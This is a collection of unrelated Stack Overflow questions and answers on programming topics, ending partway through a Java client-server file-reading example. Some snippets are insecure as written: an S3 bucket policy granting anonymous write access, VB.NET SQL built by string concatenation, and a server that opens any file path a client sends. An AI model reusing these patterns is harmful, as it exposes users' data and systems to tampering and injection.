39932204	0	ASP.NET Identity Fluent NHibernate bind the mappings: <p><a href="https://nhibernateidentity.codeplex.com/documentation" rel="nofollow">https://nhibernateidentity.codeplex.com/documentation</a> In this docs is written:</p> <p>First you need install the package:</p> <pre><code> PM&gt; Install-Package NHibernate.Identity </code></pre> <p>After you installed you need to bind the mappings:</p> <pre><code>.Mappings(m =&gt; m.FluentMappings.AddFromAssemblyOf&lt;IdentityUser&gt;()) </code></pre> <p>How and where? Can someone try to explain. I want to use Nhiberant with Identity</p>
24148675	0	 <p>What you have here is an example of infinite recursion, as there is nothing there to allow us to exit the recursive loop. As others have previously said, this will cause a stack overflow error, as the JVM will continually create and assign a memory allocation to the Test object until it runs out of space in memory.</p>
28359052	0	 <p>callback for each row created while drawing the table:</p> <pre><code>"fnCreatedRow" : function(nRow, aData, iDataIndex) { $('td:last-child', nRow).text(100); } </code></pre> <p>check out the fiddle i just created : <a href="http://jsfiddle.net/yrn2nfj3/" rel="nofollow">http://jsfiddle.net/yrn2nfj3/</a></p>
21056491	0	Maple converting vectors to data to plot <p>I have a list of vectors, like this:</p> <pre><code>{x = 7, y = 0.}, {x = 2.5, y = 0.}, {x = -2.3, y = 0.}, {x = 2.5, y = 2.7}, {x = 2.5, y = -2.7} </code></pre> <p>How do I convert these to data I can plot? I've been trying with the "convert" function, but can't get it to work.</p> <p>When I manually convert it to something like <code>[[7, 0], [2.5, 0], [-2.3, 0], [2.5, 2.7], [2.5, -2.7]]</code> it works, though there has to be an automatic way, right?</p> <p>A little more info about what I'm doing if you're interested:</p> <p>I have a function U(x,y), of which I calculate the gradient and then check where it becomes 0, like this:</p> <pre><code>solve(convert(Gradient(U(x, y), [x, y]), set), {x, y}); </code></pre> <p>that gives me my list of points. Now I would like to plot these points on a graph.</p> <p>Thanks!</p>
36555353	0	 <p>If you re-used the application name (deleted the old application and created a new one with the same name) it could take up to 24 hours for the dns to be routed to the correct server. if you are going to do rapid create/delete/create cycles, you should use different application names so that you don't have to wait on DNS updates.</p>
19458114	0	Adjust color to powertools extension for visual studio <p>I use Visual Studio 2012, and the productivity powertools extension. I often use the "quick find" function that comes with this extension - the little blue 'dot' that shows in the scrollbar, when you highlight a word, or part of it, showing all the usages for the selection in that page. </p> <p>How can I change the color of this dot? It is only nearly visible with the dark-theme. </p>
19641005	0	 <p>Don't do <code>right : 0</code> in your <code>stick</code> class. In fixed elements, the position attributes are relative to the viewport. </p> <p><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/position#Fixed_positioning" rel="nofollow">https://developer.mozilla.org/en-US/docs/Web/CSS/position#Fixed_positioning</a></p>
40858857	0	 <p>Expanding on @Brendan's answer.</p> <p>Your logger currently outputs to the console using a <a href="https://docs.python.org/2/library/logging.handlers.html#streamhandler" rel="nofollow noreferrer"><code>StreamHandler</code></a>.</p> <p>By adding a <a href="https://docs.python.org/2/library/logging.handlers.html#filehandler" rel="nofollow noreferrer"><code>FileHandler</code></a>, you can log to a file.</p> <p>Each handler instance can be customized to have its own format and logging level.</p> <p>If you want to log using the same format, you will have to set the format on the new FileHandler as well.</p> <pre><code>fh = logging.FileHandler(r'/path/to/log.txt') fh.setFormatter(formatter) logger.addHandler(fh) </code></pre> <p>Read more: <a href="https://docs.python.org/2/howto/logging-cookbook.html" rel="nofollow noreferrer">Python logging cookbook</a></p>
35848093	0	 <p>As others have mentioned, you cannot do this. But instead you can use ArrayList (or any other List) and where needed, convert it to simple array, like this:</p> <pre><code>ArrayList&lt;String&gt; arrayList = new ArrayList&lt;&gt;(); String strings[] = (String[])arrayList.toArray(); </code></pre>
33334886	0	 <p>Once you have the access token ("<code>token</code>" in your code above), you just need to save it. It sounds like you're building a web app, so yes, you would typically store this in the user's session or perhaps associated with the user in a database, if you have such a thing.</p>
11305473	0	 <p>When the View is bound to the Model:</p> <ul> <li><p>If the View needs to change or you have multiple views a change to the Model will cause changes to all the Views bound to that Model. </p></li> <li><p>From the View's perspective, the object it is bound to might not be that intuitive; when you need to add a properties and/or commands to the the object do you add those to the ViewModel and keep the 'original' properties in the Model or do you modify the Model?</p></li> </ul> <p>Having a ViewModel gives you an extra abstraction between a single Model and multiple (versions of) Views</p> <p>All in all it is just a guideline but be aware that what seems OK today might be not so great when you need to modify/update the application.</p>
23223144	0	 <p>You can use this rule in your root .htaccess:</p> <pre><code>RewriteEngine On RewriteCond %{THE_REQUEST} \s/([^~]+?)/([^/~\s]+)/? [NC] RewriteRule ^(.+?)/([^/~]+)/?$ /$1~$2 [R=301,L,NE] RewriteRule ^([^~]+)(.+)$ /$1/$2 [R=301,L,NE] </code></pre>
3065222	0	How can I execute a SQL query in emacs lisp? <p>I want to execute an SQL query and get its result in elisp:</p> <pre><code>(let ((results (do-sql-query "SELECT * FROM a_table"))) (do-something-with results)) </code></pre> <p>I'm using Postgres, and I already know all of my connection information (host, username, password, db et al) I just want to execute the query and get the result back, synchronously.</p>
34686217	0	How can I add a line to one of the facets? <pre><code>ggplot(all, aes(x=area, y=nq)) + geom_point(size=0.5) + geom_abline(data = levelnew, aes(intercept=log10(exp(interceptmax)), slope=fslope)) + #shifted regression line scale_y_log10(labels = function(y) format(y, scientific = FALSE)) + scale_x_log10(labels = function(x) format(x, scientific = FALSE)) + facet_wrap(~levels) + theme_bw() + theme(panel.grid.major = element_line(colour = "#808080")) </code></pre> <p>And I get this figure</p> <p><a href="https://i.stack.imgur.com/VIMue.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/VIMue.png" alt="enter image description here"></a></p> <p>Now I want to add <strong>one geom_line</strong> to one of the facets. Basically, I wanted to have a dotted line (Say x=10,000) in only the <strong>major</strong> panel. How can I do this?</p>
23180238	0	 <p>Have you tried</p> <pre><code>Class.forName("com.foo.Foo"); </code></pre> <p>Edit: To invoke the static method, you will need to do something like:</p> <pre><code>Class clazz = Class.forName("com.foo.Foo"); Method method = clazz.getMethod("methodName", String.class); Object o = method.invoke(null, "whatever"); </code></pre> <p>This will depend on your method and its parameters. See the reflection tutorial for more on this: <a href="http://docs.oracle.com/javase/tutorial/reflect/" rel="nofollow">http://docs.oracle.com/javase/tutorial/reflect/</a> </p>
14528016	0	 <p>As stated in <a href="https://github.com/lecar-red/bootstrapx-clickover/issues/25" rel="nofollow">this issue</a>, you need to add <code>html: true</code> to your clickover options.</p> <pre><code>$("#spec").clickover({placement:'top', title: "Sensitive information", content: message, width: 170, height: 110, html: true}); </code></pre>
30933595	0	 <pre><code>$result[0] </code></pre> <p>is probably not an object.</p> <p>try using print_r to print the contents of that variable after json_decode.</p>
37683503	0	Turning JSON into date object <p>I have get request here </p> <pre><code>$http.get('php/getactivity.php') .then( function (response) { $scope.data.activities = response.data; }, function (response) { // error handling } ); </code></pre> <p>which gets data from database . in my php</p> <pre><code>&lt;?php include('dbconnect.php'); $result = $conn-&gt;query("SELECT * FROM Activities WHERE EventID =1;"); $outp = ""; while($rs = $result-&gt;fetch_array(MYSQLI_ASSOC)) { if ($outp != "") { $outp .= ","; } $outp .= '{"ActivityDate":"' . $rs["ActivityDate"] . '",'; $outp .= '"StartTime":"' . $rs["StartTime"] . '",'; $outp .= '"EndTime":"' . $rs["EndTime"] . '"}'; } $outp ='['.$outp.']'; $conn-&gt;close(); echo($outp); ?&gt; </code></pre> <p>which gets the date string from the database. An example of the data is as such : </p> <p>Thu Jan 01 1970 11:11:00 GMT+0800 (Malay Peninsula Standard Time)</p> <p>Because I'm accessing the data using <code>ng-repeat</code> and <code>{{ActivityDate||date:"dd/MM/yyyy"}}</code> to make it show on the view, I cannot convert it do a date object manually using <code>new Date()</code>.</p> <p>I have tried adding new date to the json produced as such but it does not work:</p> <p><code>$outp .= '"ActivityDate": new Date("'. $rs["ActivityDate"] . '"),';</code></p> <p>What is the right way to do it?</p>
245815	0	 <p>What you want to do (at least from what I read here and on the Django documentation site) is create a <a href="http://docs.djangoproject.com/en/dev/howto/custom-file-storage/#howto-custom-file-storage" rel="nofollow noreferrer">custom storage system.</a></p> <p>This should give you exactly what you need - it's the motivation they use to start the example, after all!</p>
35438156	0	logstash add_field and remove_field <p>I'm attempting to simplify my logstash config. I want to split the program field into separate fields (as show below) however I would prefer to use just one grok statement (if it's at all possible!)</p> <p>Of the two examples below I get an _grokparsefailure on the second example, but not the first. Since grok has the add_field and remove_field options I would assume that I could combine it all into one grok statement. Why is this not the case? Have I missed some ordering/syntax somewhere?</p> <p>Sample log:</p> <pre><code>2016-02-16T16:42:06Z ubuntu docker/THISTESTNAME[892]: 172.16.229.1 - - [16/Feb/2016:16:42:06 +0000] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36" "-" </code></pre> <p>Why does this work:</p> <pre><code>filter { # Extracts the docker name, ID, image etc elements mutate { add_field =&gt; { "[@metadata][program]" =&gt; "%{program}" } remove_field =&gt; "[program]" } grok { patterns_dir =&gt; "/logstash/patterns_dir/docker" match =&gt; { "[@metadata][program]" =&gt; "%{D_ID}" } } } </code></pre> <p>But this does not:</p> <pre><code>filter { grok { add_field =&gt; { "[@metadata][program]" =&gt; "%{program}" } remove_field =&gt; "[program]" patterns_dir =&gt; "/logstash/patterns_dir/docker" match =&gt; { "[@metadata][program]" =&gt; "%{D_ID}" } } } </code></pre>
9016152	0	 <p>Nowadays there are excellent Python libs that do this for you - <a href="http://urllib3.readthedocs.org/" rel="nofollow">urllib3</a> and <a href="http://docs.python-requests.org/" rel="nofollow">requests</a></p>
32144964	0	 <p>The thing that you are trying to do is to access the <code>/storage</code> folder just without read write permissions which is required by laravel.</p> <blockquote> <h3>Using File Manager</h3> <p>One of the easy and basic ways to change the permissions is through File manager in cPanel. To change the permissions for a file or folder in cpanel, please do the following:</p> <ol> <li>Click File Manager</li> <li>Click the name of the file for which you would like to change the permissions.</li> <li>Select the Change Permissions link at the top right of the page.</li> <li>Select the permissions you would like to set for the file.</li> <li>Click Change Permissions</li> </ol> <h3>Using FTP</h3> <p>Connect to FTP. Go to the file and right click. Choose Permissions or Attributes or Properties (depends on your program).</p> <h3>Using SSH or a script</h3> <p>This can be done with chmod command.</p> </blockquote> <p>From <a href="http://support.hostgator.in/articles/cpanel/how-to-change-permissions-chmod-of-a-file" rel="nofollow">HostGator</a> website which is most probably your hosting provider.</p> <p><strong>EDIT</strong>: The directory should have the recursive mode enabled. You are not just giving permissions to one directory, but you are giving it to each and every subdirectory that you find inside that folder. If you still see an error, please post last few errors from your logs.(If it's stored which might not be there).</p>
26849108	0	 <p>There are multiple things:</p> <ol> <li>The crash is caused by an exception and the crash report does not show the required <code>Last Exception Backtrace</code>.</li> <li>Symbolicating the main thread will only show you the <code>main.m</code> call in frame 12 and the uncaught exception handler in frame 2 of thread 0</li> <li>The crash report is written by an old version of <a href="http://plcrashreporter.org/" rel="nofollow">PLCrashReporter</a> (identified by the two <code>[TODO]</code> texts on top) or you are using another server for uncaught exceptions. As is, the crash report will not help you.</li> <li>You should use <code>atos</code> with the apps dSYM instead of the app binary. Using the app binary will never show you filenames or line numbers and will only show you class name and methods if you don't strip symbols from the executable. But you should strip them from the executable to keep the binary size as low as possible (saves 30-50%).</li> <li><p>The way you are calling <code>atos</code> is wrong. <code>0x7f68bb0 0x3017d000 + 84904</code> is not a valid option, and in fact your crash report doesn't even contain that. Instead you need to use only the first address after the binary name per frame. So for the following line:</p> <pre><code>2 Example 0x001ffe3b 0x4000 + 2080315 </code></pre> <p>You would use atos as follows:</p> <pre><code>`atos -arch -armv7 -l 0x4000 -o Example.app.dSYM 0x001ffe3b` </code></pre></li> </ol> <p>You should update your crash reporting SDK to use the latest PLCrashReporter version and make sure exceptions are shown properly in the report.</p>
35488437	0	 <p>Unfortunately not all of the various components' command line flags are modifiable when starting a GKE cluster. If you're just trying to run a one-off load test, you could manually modify the flags passed to the Kubelet on each node, but since that flag isn't even controllable by Kubernetes's Salt templates, there isn't even an option to control it with an environment variable.</p> <p>The value was chosen due to performance limitations and will be drastically bumped up (to 100) in version 1.2 of Kubernetes, which is scheduled for release in March.</p>
13380023	0	Global variable is not showing result inside a ajax call <p>Here index is a global variable. I am manipulating the index in another function.</p> <p>after that I call this function. its showing the actual result outside and after the ajax call but not showing inside the ajax call. </p> <pre><code>var urlSearch = "http://192.168.10.113/collective-intellegence/UserClickPersonClassifier?userid=1&amp;query=asp.net"; alert(index); $.ajax({ url: urlSearch, type: 'POST', dataType: 'json', success: function (data) { alert(index); } }); </code></pre> <p>Is there any mistake done by me.</p> <p>Please help to solve this problem.</p> <p>Thanks in advance.</p>
632963	0	 <p>There is no alternate for the direct child selector in IE6 (it should work in IE7 though).</p> <p>Instead you need to use the descendant selector (a space) and design your classes to compensate.</p>
26628825	0	 <p>Your code is leaving uninitialized memory and that might cause <a href="http://en.wikipedia.org/wiki/Undefined_behavior" rel="nofollow">undefined behavior</a>, make sure that every pointer/data is zero'ed out before proceeding setting your flags/pointers:</p> <pre><code>WNDCLASSEX wndClass; memset(&amp;wndClass, 0, sizeof(WNDCLASSEX)); </code></pre> <p>or even better:</p> <pre><code>WNDCLASSEX wndClass = { 0 }; </code></pre>
20090735	0	Background color of tr is not changing using jquery <p>I would like to change the background olor of a tr while clicking on its child td.I cant add <code>onclick</code> to tr since it is dynamically generating from a gridview control of asp.net after rendering.</p> <p>my mark up is</p> <pre><code>&lt;tbody&gt; &lt;tr&gt; &lt;td style="width:27%;"&gt;&lt;span onclick="SelectAddressRow(this)"&gt;Ajish&lt;/span&gt;&lt;/td&gt; &lt;td style="width:40%;"&gt;&lt;span onclick="SelectAddressRow(this)"&gt;22&lt;/span&gt;&lt;/td&gt; &lt;td style="width:33%;"&gt;&lt;span onclick="SelectAddressRow(this)"&gt;Male&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; </code></pre> <p>my code is </p> <pre><code>function SelectAddressRow(column) { var tableRow=$(column).parent(); $(tableRow).parent().css({ "background-color": "#B3B3B3" }); } </code></pre> <p>but it is not working,But it affects for a td if the statement is replaced by</p> <pre><code>$(tableRow).css({ "background-color": "#B3B3B3" }); </code></pre>
8216644	0	 <p>So that I understand, you have not yet built any ORM Entities? (CFC for each table)</p> <p>If you have not, all you have to do is setup all your tables (use cfbuilder with a RDS connection to build your ORM CFC files)</p> <p>Once you have all your tables referenced in ORM Persisted CFC files, you can do this with a cfquery tag and dbtype = "HQL" and return the data with QueryConvertForGrid()</p> <p>Then just return the data you want to your cfgrid via json or directly on the page into the cfgrid tag.</p>
27553917	0	 <p>This code base has a deep level of dependency. This causes a stack overflow in <code>javadoc</code> because the default stack size is too small to support this level of dependencies.</p> <p>To work around this a the following flag can be added to the 'javadoc' command:</p> <pre><code>javadoc -J-Xss1m ... </code></pre> <p>This passes the flag <code>-Xss1m</code> to the java VM that is running javadoc which increases the stack size to 1 megabyte. See <a href="http://docs.oracle.com/javase/8/docs/technotes/tools/windows/javadoc.html" rel="nofollow">JavaDoc</a> documentation for more information. After running the command with this option javadoc was able to successfully generate documentation for the <a href="https://sourceforge.net/projects/byuediftools/" rel="nofollow">BYUEDIFTools</a></p>
36177636	0	 <p>Your IAM role only gives access to GetObject and ListObject. Copying also requires PutObject as you write to S3. I think this should work:</p> <pre><code>{ "Version": "2008-10-17", "Id": "Policy1458587151478", "Statement": [ { "Sid": "AllowPublicRead", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": ["s3:GetObject","s3:PutObject"], "Resource": "arn:aws:s3:::bucketname/*" }, { "Sid": "AllowPublicList", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": "s3:ListBucket", "Resource": "arn:aws:s3:::bucketname" } ] } </code></pre>
11188424	0	 <p>Why didn't you try it yourself?</p> <pre><code>List&lt;String&gt; list = new ArrayList&lt;String&gt;(); list.add("A"); list.add("B"); list.add("C"); list.add("D"); list.add("E"); list.add("F"); list.add("G"); for(int i = 0; i &lt; list.size(); i++) System.out.println("index " + i + ": " + list.get(i)); System.out.println(); list.remove(0); // remove "A" for(int i = 0; i &lt; list.size(); i++) System.out.println("index " + i + ": " + list.get(i)); </code></pre> <p><strong>OUTPUT:</strong></p> <pre><code>index 0: A index 1: B index 2: C index 3: D index 4: E index 5: F index 6: G index 0: B index 1: C index 2: D index 3: E index 4: F index 5: G </code></pre>
40267851	0	 <p>I am no expert in Cross Platform Mobile Development (in fact, I was just searching for a cross platform mobile development languages/frameworks), but you could take a look at <a href="https://www.xamarin.com/" rel="nofollow">Xamarin</a>, especially as you have a C# Background.</p> <p>You may also want to take a look at <a href="https://cordova.apache.org/" rel="nofollow">Apache Cordova</a> (and <a href="http://phonegap.com/" rel="nofollow">Adobe Phonegap</a>), they use HTML+CSS+JavaScript.</p> <p>I recently found <a href="https://flutter.io/" rel="nofollow">Flutter</a>, the development language is <a href="https://www.dartlang.org/" rel="nofollow">Dart</a> and it's an early stage OSS project (as of 2016 october) and <a href="https://haxe.org" rel="nofollow">Haxe</a>. They both seem like an active projects, so worth following the progress on GitHub.</p> <p>If I had to choose and I already had skills in C#, I'd go with Xamarin.</p>
20876153	0	 Please user insertBefore() JS HTML DOM METHOD for add string before your element content <p><a href="https://developer.mozilla.org/en-US/docs/Web/API/Node.insertBefore" rel="nofollow">Check MDN</a></p> OR user appendChild() JS HTML DOM METHOD for add string after your element content <p><a href="https://developer.mozilla.org/en-US/docs/Web/API/Node.appendChild" rel="nofollow">Check MDN</a></p>
33995027	0	 <p>There are no such settings in Email Alert.</p> <p>However , both of the event in email alert and in Team Room are listening to the same server side event. Simply returns in different ways. Moreover, most of the events which they listen to are the same. Such as Build, Code, WorkItem, Checkin(pull). </p> <p><a href="https://i.stack.imgur.com/pMzL2.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/pMzL2.png" alt="enter image description here"></a> <a href="https://i.stack.imgur.com/eI0Bs.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/eI0Bs.png" alt="enter image description here"></a></p> <p>In other words, you can get the same result of your email when an event has been added to a project's team room by setting the same conditions in your email alter.</p>
37001712	0	 <p>This worked for me,(Using ShareIntent) </p> <pre><code>private void shareOnTwitter(){ Intent shareIntent = new Intent(android.content.Intent.ACTION_SEND); shareIntent.setType("text/plain"); // shareIntent.putExtra(android.content.Intent.EXTRA_SUBJECT, "Extra Subject"); shareIntent.putExtra(android.content.Intent.EXTRA_TEXT, "check this application"); // shareIntent.putExtra(Intent.EXTRA_STREAM, "Extra Stream"); PackageManager pm = context.getPackageManager(); List&lt;ResolveInfo&gt; activityList = pm.queryIntentActivities(shareIntent, 0); for (final ResolveInfo app : activityList) { //"com.twitter.android.PostActivity".equals(app.activityInfo.name) if ((app.activityInfo.name).contains("twitter")) { final ActivityInfo activity = app.activityInfo; final ComponentName name = new ComponentName(activity.applicationInfo.packageName, activity.name); shareIntent.addCategory(Intent.CATEGORY_LAUNCHER); shareIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED); shareIntent.setComponent(name); context.startActivity(shareIntent); break; } } } </code></pre> <p>Just call <code>shareOnTwitter()</code> in you btn <code>OnClickListener()</code></p>
20121816	0	 <p>I encountered this error when trying to debug to run a web application after publishing from VS 2012 to IIS 7.5. After some hair pulling, I realised that the problem was the fact that I did not change the jquery script and signalr paths when deploying.</p> <p>To solve the issue I had to add the virtual directory name ("TestingChat") to the path of the script tags for jquery and signalr.</p> <p>E.g. From this: </p> <pre><code>&lt;script src="Scripts/jquery-1.8.2.min.js" &gt;&lt;/script&gt; &lt;script src="/signalr/hubs"&gt;&lt;/script&gt; </code></pre> <p>To </p> <pre><code>&lt;script src="/TestingChat/Scripts/jquery-1.8.2.min.js" &gt;&lt;/script&gt; &lt;script src="TestingChat/signalr/hubs"&gt;&lt;/script&gt; </code></pre>
6731072	0	SHAREPOINT 2007 LLISTS created by helpdesk.wsp <p>I am given a task to make a feature that autogenerates a ticket ID for a list. However, I found out that the template used for the site is a helpdesk.wsp template. Now, I am having problems stapling the said feature to Service Requests because it is currently under LLISTS and not LISTS.</p> <p>See attached image.<img src="https://i.stack.imgur.com/s8m7L.jpg" alt="enter image description here"></p> <p>Can someone help me on this?</p> <p>Thanks. janejanejane</p>
5470117	0	UPDATE MySQL using VB.NET <p>I am using VB.NET with a MySQL database. I want to update this code to do it all in ONE SQL instead of THREE. Anyone know how?</p> <p>Here's the code I'm using, works fine but too slow with multiple lines...</p> <pre><code>If count3 = "1" Then Dim myCommand As New MySqlCommand Dim myAdapter As New MySqlDataAdapter Dim SQL As String myCommand.Connection = conn myAdapter.SelectCommand = myCommand SQL = "UPDATE employees SET emprole1 = '" &amp; val2 &amp; "' WHERE emprole1 = '" &amp; val1 &amp; "'" myCommand.CommandText = SQL myCommand.ExecuteNonQuery() SQL = "UPDATE employees SET emprole2 = '" &amp; val3 &amp; "' WHERE emprole2 = '" &amp; val2 &amp; "'" myCommand.CommandText = SQL myCommand.ExecuteNonQuery() SQL = "UPDATE employees SET emprole3 = '" &amp; val4 &amp; "' WHERE emprole3 = '" &amp; val3 &amp; "'" myCommand.CommandText = SQL myCommand.ExecuteNonQuery() End If </code></pre>
24954918	0	 <p>I found a solution here: <a href="https://productforums.google.com/forum/#!searchin/tag-manager/gtm.load/tag-manager/0Lpevpf2Fss/OMJFuaM04BsJ" rel="nofollow">https://productforums.google.com/forum/#!searchin/tag-manager/gtm.load/tag-manager/0Lpevpf2Fss/OMJFuaM04BsJ</a></p> <p>I didnt push my variables but assigned them to dataLayer. Its overwritten, so the gtm objects are missing.</p>
21514842	0	 <p><strong>INPUT:</strong></p> <pre><code>1. walking down the street 2. to go to the store 3. to buy some groceries </code></pre> <p><strong>Use this:</strong></p> <pre><code>.sub(/[a-zA-Z]/){|c| c.upcase} </code></pre> <p><strong>OUTPUT:</strong></p> <pre><code>1. Walking down the street 2. to go to the store 3. to buy some groceries </code></pre>
7692638	0	 <p>Can you use the <code>Set&lt;T&gt;()</code> operation:</p> <pre><code>try { db.SaveChanges(); } catch { db.Set&lt;T&gt;().Remove(obj); } </code></pre> <p>?</p>
34635577	0	Batch scripting: read lines and execute a command after every other line read <p>Suppose I have a text file like this</p> <pre><code>node1.log node2.log node3.log node4.log etc... </code></pre> <p>I want to read each line by line and execute</p> <pre><code>alan.exe node1.log node2.log alan.exe node3.log node4.log </code></pre> <p>etc..</p> <p>What is the best way to accomplish this?</p>
30581518	0	 <p>Here's a simple project using sockets and files to read to and write from that I did a while ago. Hopefully viewing this code will clarify the questions you have with your own code. Due to the time constraints, I didn't convert it to include the code snippets you've provided, but if you're still stuck with your own code after taking a look at mine, I'll see what I can do. </p> <p>A few things to note if you run this code:</p> <ul> <li>This project uses server and client GUIs that are a little messy (I'm not very good at designing GUIs), but the functionality should still be useful. </li> <li>You need to provide the same port number as a command line argument for both the server and client. You can do this in Eclipse via Run button dropdown -> Run configurations... -> arguments tab ->typing a port number (I used 12345) -> click run). Do this for both the server and client.</li> <li>Make sure to run the server before you run the client</li> <li>This example only reads from files. There's no writing functionality.</li> <li>Once the client has successfully started, type the name of the file you want to read from (ie: readfile1.txt) including the file extension.</li> <li>This uses relative path names starting from the root project directory so if your Users.txt file is in your src folder, you'd type "src/Users.txt".</li> <li>Type the file name in the client's input field at the top of the client GUI to have the entire contents of that file printed below. You can type as many file names as you want one at a time.</li> </ul> <p><strong>Server code</strong></p> <pre><code>import java.awt.BorderLayout; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.io.EOFException; import java.io.File; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.net.ServerSocket; import java.net.Socket; import java.util.Scanner; import javax.swing.JFrame; import javax.swing.JScrollPane; import javax.swing.JTextArea; import javax.swing.JTextField; import javax.swing.SwingUtilities; public class FileServer extends JFrame { //main function public static void main(String[] args) { int port = Integer.parseInt(args[0]); //String file = args[1]; FileServer server = new FileServer(port); server.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); server.runServer(); } //FileServer class declarations private File file; //for this example, the file is stored in the root project directory and includes the file extension (ie: .txt, etc) private ServerSocket ss; private Socket connection; private JTextField field; private JTextArea displayArea; private int portNum; private ObjectOutputStream oos; private ObjectInputStream ois; public FileServer(int port) { super("Server"); //file = new File(f); //sent from client or done here? portNum = port; field = new JTextField(); field.setEditable(false); field.addActionListener( new ActionListener() { public void actionPerformed(ActionEvent event) { sendData(event.getActionCommand()); field.setText(""); } }); //ends addActionListener add(field, BorderLayout.NORTH); displayArea = new JTextArea(); add(new JScrollPane(displayArea)); setSize(500, 300);//size of JFrame setVisible(true); }//end constructor /** * code that executes the server obj. Think of it as FileServer's main(). This is called from main(). */ public void runServer() { try { ss = new ServerSocket(portNum, 100); //creates server socket with port # specified by user and a queue of 100 while (true) { //infinite loop to continually listen for client connections try { waitForConnection(); //wait for client connections getStreams(); //get I/O streams processConnection(); } catch (EOFException e) { e.printStackTrace(); } finally { closeConnection(); } } } catch (IOException e) { e.printStackTrace(); } }//end runServer /** * creates socket obj to interact with client. Socket created when connection with client made * @throws IOException */ public void waitForConnection() throws IOException { displayMessage("Waiting for connection\n"); connection = ss.accept(); //returns socket obj when connection made with client displayMessage("Connection made with " + connection.getInetAddress().getHostName()); }//end waitForConnection /** * gets IO stream objs for FileServer class */ public void getStreams() { try { oos = new ObjectOutputStream(connection.getOutputStream()); oos.flush(); ois = new ObjectInputStream(connection.getInputStream()); } catch (IOException e) { e.printStackTrace(); } displayMessage("\n Got both IO streams \n"); }//end getStreams /** * receives filename sent from client and creates file */ public void processConnection() throws IOException { sendData("Connection successful"); setTextFieldEditable(true); do { //added do while for testing try { String message = (String) ois.readObject(); //should read in filename then create file obj displayMessage("\n " + message + " received from client\n"); displayMessage("Type in absolute path of file in text field above"); file = new File(message); if(!file.exists()) { sendData("File not found"); } else { Scanner cin = new Scanner(file); while(cin.hasNextLine()) { message = cin.nextLine(); sendData(message); } cin.close(); } } catch (ClassNotFoundException e) { e.printStackTrace(); } } while(true); }//end processConnection /** * closes IO streams */ public void closeConnection() throws IOException { displayMessage("\nClosing connections\n"); setTextFieldEditable(false); oos.close(); ois.close(); connection.close(); }//end closeConnection /** * sends message to client * @param message */ public void sendData(String message) { try{ oos.writeObject(message);//this is what sends message oos.flush(); displayMessage("\n in sendData: " + message + "\n"); } catch(IOException e) { displayArea.append("\n Error writing object"); e.printStackTrace(); } }//end sendData public void displayMessage(final String message) { SwingUtilities.invokeLater( new Runnable() { public void run() { displayArea.append(message); } });//end SwingUtilties } private void setTextFieldEditable( final boolean editable ) { SwingUtilities.invokeLater( new Runnable() { public void run() // sets enterField's editability { field.setEditable( editable ); } // end method run } // end anonymous inner class ); // end call to SwingUtilities.invokeLater } // end method setTextFieldEditable } </code></pre> <p><strong>Client code</strong></p> <pre><code>import java.io.EOFException; import java.io.File; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.net.InetAddress; import java.net.Socket; import java.awt.BorderLayout; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import javax.swing.JFrame; import javax.swing.JScrollPane; import javax.swing.JTextArea; import javax.swing.JTextField; import javax.swing.SwingUtilities; public class FileClient extends JFrame { public static void main(String[] args) { int port = Integer.parseInt(args[0]); String fileName = args[1]; //must use absolute path for filename FileClient app = new FileClient("127.0.0.1", port, fileName); app.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); app.runClient(); } private JTextField enterField; // enters information from user private JTextArea displayArea; // display information to user private ObjectOutputStream output; // output stream to server private ObjectInputStream input; // input stream from server private String message = ""; // message from server private String chatServer; // host server for this application private Socket client; // socket to communicate with server private int portNum; private String fileName; private File file; // initialize chatServer and set up GUI public FileClient( String host, int port, String fileName ) { super( "Client" ); portNum = port; this.fileName = fileName; //file = new File(fileName); chatServer = host; // set server to which this client connectsS enterField = new JTextField(); // create enterField enterField.setEditable( false ); enterField.addActionListener( //need to find a way to send fileName to server without having to type it in new ActionListener() { // send message to server public void actionPerformed( ActionEvent event ) { sendData( event.getActionCommand() ); enterField.setText( "Messages will be displayed in other text box" ); } // end method actionPerformed } // end anonymous inner class ); // end call to addActionListener add( enterField, BorderLayout.NORTH ); displayArea = new JTextArea(); // create displayArea add( new JScrollPane( displayArea ), BorderLayout.CENTER ); setSize( 500, 300 ); // set size of window setVisible( true ); // show window } // end Client constructor // connect to server and process messages from server public void runClient() { try // connect to server, get streams, process connection { connectToServer(); // create a Socket to make connection getStreams(); // get the input and output streams processConnection(); // process connection sendData(fileName); //sends name of file to server to retrieve displayMessage("Sent request for " + fileName + " to server."); } // end try catch ( EOFException eofException ) { displayMessage( "\nClient terminated connection" ); } // end catch catch ( IOException ioException ) { ioException.printStackTrace(); } // end catch finally { closeConnection(); // close connection } // end finally } // end method runClient // connect to server private void connectToServer() throws IOException { displayMessage( "Attempting connection\n" ); //not getting here // create Socket to make connection to server client = new Socket( InetAddress.getByName( chatServer ), portNum ); // display connection information displayMessage( "Connected to: " + client.getInetAddress().getHostName() ); } // end method connectToServer // get streams to send and receive data private void getStreams() throws IOException { // set up output stream for objects output = new ObjectOutputStream( client.getOutputStream() ); output.flush(); // flush output buffer to send header information // set up input stream for objects input = new ObjectInputStream( client.getInputStream() ); displayMessage( "\nGot I/O streams\n" ); } // end method getStreams // process connection with server private void processConnection() throws IOException //problem possibly due to processConnection being in infinite loop? { // enable enterField so client user can send messages setTextFieldEditable( true ); do // process messages sent from server { try // read message and display it { message = input.readObject().toString(); // read new message displayMessage( "\n" + message ); // display message } // end try catch ( ClassNotFoundException classNotFoundException ) { displayMessage( "\nUnknown object type received" ); classNotFoundException.printStackTrace(); } // end catch } while ( !message.equals( 